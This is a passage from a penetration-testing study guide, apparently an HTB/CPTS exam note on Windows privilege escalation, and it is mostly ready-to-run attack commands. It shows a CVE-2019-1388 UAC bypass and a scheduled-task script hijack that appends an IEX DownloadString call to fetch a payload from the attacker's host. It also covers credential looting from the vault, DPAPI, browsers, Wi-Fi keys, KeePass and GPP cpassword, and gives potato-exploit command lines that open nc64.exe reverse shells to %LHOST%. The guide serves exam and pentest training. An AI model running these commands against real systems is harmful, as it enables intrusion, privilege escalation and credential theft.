[!warning] Watch out UAC is not a security boundary to Microsoft — bypasses are build-specific flaws, so check
[environment]::OSVersion.Versionand consult the UACMe table for a technique that matches.ConsentPromptBehaviorAdmin=0x5rules out most registry-hijack techniques (they rely on default0x2). RID-500 built-in Administrator always runs high-integrity regardless. CVE-2019-1388 (patched Nov 2019) is the GUI fallback on unpatched boxes: Run as admin a Microsoft-signed binary with a populatedSpcSpAgencyInfocert field (hhupd.exe) → Show publisher cert → click the Issued by hyperlink → a SYSTEM browser opens → Save As → typec:\windows\system32\cmd.exe→ SYSTEM shell.
Scheduled-task script abuse
What to look for: a task set to Run As SYSTEM/a privileged account that invokes a script or binary in a folder my user can write to. Standard users can’t read C:\Windows\System32\Tasks, so lean on writable-folder discovery, not the task list.
schtasks /query /fo LIST /v # run-as acct, schedule, last result
Get-ScheduledTask | select TaskName,State
Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile # automated find
.\accesschk64.exe /accepteula -s -d C:\Scripts\ # RW BUILTIN\Users on a task's script dir?
# ── append a callback to the writable script → runs as the task's account on next fire ──
Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')"
# then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>"
[!tip] This is a plant-and-check-back technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks:
Get-LocalUser(Description field) andGet-WmiObject Win32_OperatingSystem | select Description(computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE T1053.005.
Registry autorun (Win32_StartupCommand)
What to look for: an autorun binary launched at another user’s logon whose file — or the Run key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the executable being hijackable.
Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun
:: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload
copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"
[!note] Cross-reference the
Usercolumn against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin’s logon is the win. HKLMRunentries fire for whoever logs on next.
Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)
What to look for: everywhere Windows and apps stash reusable secrets beyond the cmdkey/AutoLogon/PS-history basics above. Re-run this after every priv gain — profiles unreadable before become readable. One-pass looters: LaZagne (staged: LaZagne.exe (SHA-256 · GPG signature)) and SessionGopher. Full index: Stage 08 · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.
:: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all
:: ── PuTTY proxy creds sit in cleartext in HKCU ──
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name> :: ProxyUsername / ProxyPassword
:: ── Wi-Fi PSKs (needs local admin) ──
netsh wlan show profile <ssid> key=clear
# ── DPAPI-protected material — decrypts transparently AS the originating user ──
$c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password # PS credential object
.\SharpChrome.exe logins /unprotect # browser saved logins
.\SharpDPAPI.exe triage # masterkeys + creds + vaults
gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass # typed-in-wrong-field
# ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ──
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough
# ── one-pass everything ──
.\LaZagne.exe all
# ── KeePass DB found → crack offline ──
keepass2john help_desk.kdbx > kp.hash
hashcat -m 13400 kp.hash rockyou.txt
# ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ──
strings plum.sqlite-wal | grep -iE "pass|user" # or: SELECT Text FROM Note (PSSQLite / DB Browser)
[!warning] Watch out DPAPI ties decryption to the originating user + machine —
Import-Clixml, SharpChrome, and vault creds only decrypt when you run as that user (or have their DPAPI masterkey / the domain backup key). Don’t waste time trying to decrypt another user’s blob from your own context.unattend.xml/sysprep.xml(searchC:\Windows\Panther,C:\Windows\System32\Sysprep) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment.
GPP cpassword (SYSVOL) — the domain-wide freebie
What to look for: on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml) with a cpassword attribute. Microsoft published the AES key, so it’s reversible, not cracked.
# ── over SMB from the attack box ──
nxc smb $DC -u "$U" -p "$P" -M gpp_password
# ── or manually: find the XML, decrypt ──
findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml
gpp-decrypt <cpassword_blob>
[!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy
Groups.xmlfiles persist for years.
Potato selection matrix — pick by OS build, not by habit
What to look for: SeImpersonate (or SeAssignPrimaryToken) confirmed. All potatoes are the same SeImpersonate abuse — they differ only in how they coerce a SYSTEM component to authenticate to a listener. Check the build first: [environment]::OSVersion.Version / systeminfo. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above.
| Variant | Coercion mechanism | Use when | Fails when |
|---|---|---|---|
| JuicyPotato | DCOM/NTLM reflection (needs a working CLSID) | Server ≤2016 / Win10 <1809 | dead on Server 2019+ / Win10 1809+ (DCOM path patched) |
| PrintSpoofer | Print Spooler RPC (spoolss named pipe) | Spooler running (any build incl. 2019/2022) | Spooler disabled (post-PrintNightmare GPO) |
| RoguePotato | OXID resolver relayed via a redirector on 135 | Spooler disabled but you can stand up the OXID redirector | outbound 135 blocked / no redirector |
| GodPotato | DCOM (RPC/DCOM, newer CLSID path) | broadest — Server 2012→2022, Win8→11, no Spooler needed | rare; try first if others fail |
| SweetPotato / DCOMPotato | bundles several of the above | want auto-fallback across methods | — |
:: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser):
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
:: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135
RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999
[!warning] Watch out The potato binary itself is quiet; the loud part is the SYSTEM
cmd/powershellspawned fromw3wp.exe/sqlservr.exe(Event 4688) and theSeImpersonate/SeDebuggrant tripping Event 4672. If a variant fails, it’s almost always the coercion vector missing (Spooler off, DCOM patched,135blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler’s up, RoguePotato when it isn’t, JuicyPotato only on legacy.
🧭 CPTS tips & pitfalls (both platforms)
- Re-enumerate after every privilege gain. New group membership / new shell = new readable files, new
sudo -l, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue. - The enum script is a hint engine, not an answer. LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don’t trust a clean auto-enum — it can’t see what perms hide (that’s what pspy and manual
sudo -l/whoami /allcatch). - Match payload architecture:
uname -mbefore pspy32/pspy64; check installed .NET (reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release) before picking GodPotato-NET35 vs -NET4. - Interactive-shell assumptions break in CTF/service contexts: potatoes and
scwork fine fromxp_cmdshell/webshell contexts, but anything needing a window station (UAC GUI tricks, somerunas) needs a real session. - Common time-wasters: chasing an unquoted service path you can’t restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user’s DPAPI blob, planting a SUID shell on a
nosuidmount. - Document as you go — every changed binpath, added user, dropped DLL, edited unit file is a report artifact and a cleanup item. See Stage 11.
- Cron PATH vs shell PATH: cron jobs run with the
PATH=line inside/etc/crontab(or the daemon default), not your interactive PATH — a writable dir only matters if it’s on that PATH and the job uses a relative binary name (§5/§A). - Capabilities beat file perms for stealth: nothing changes in
ls -l; defenders auditing only SUID bits misssetcapbinaries. Offensively: always rungetcap -r /— defensively: it’s a finding worth reporting. - Potato hygiene: run the potato
-cmdonce with a payload (add-user / nc callback), notwhoami— every execution spawns the loud SYSTEM child process (4688); make the first shot count. - Check
/etc/exportson the target,showmount -efrom outside — NFS exports visible externally aren’t always the ones you’re in scope to mount; andno_root_squashis the only flag that matters for privesc (§C). - Password reuse closes more chains than exploits do. Every cleartext find (history, unattend.xml, web.config,
groups.xml) goes straight into the spray list for Stage 08/Stage 10.
[!example] Worked mini-chain (typical CPTS box) Web shell as
www-data→sudo -lshows(backup) NOPASSWD: /usr/bin/tar→ GTFOBins tar-sudo → shell asbackup→backupis indiskgroup →debugfsreads/root/.ssh/id_rsa→ssh -ias root. Three hops, zero CVEs, all from the decision tables above.
[!success] Stage 9 exit checklist
sudo -l/whoami /priv+/groupsanswered, decision tables walked- Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually
- Cron/scheduled-task writable-path chains checked end-to-end (
namei/ accesschk on every component)- Capabilities (
getcap -r /) and group memberships (id/whoami /groups) reviewed for the non-obvious ones (disk,adm,Event Log Readers,Hyper-V Administrators)- Every gained privilege re-looted (SSH keys, hives, creds — see Stage 08)
- Kernel exploits only after misconfigs exhausted, with stability risk noted
- Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/
--checkpoint*files, restore ACLs/ownership, removeServerLevelPluginDll- Artifacts + evidence documented for Stage 11
[!navigation] Continue the attack flow Previous: Stage 08 — Password Attacks and Credential Hunting
Dashboard: HTB Pentest Attack Flow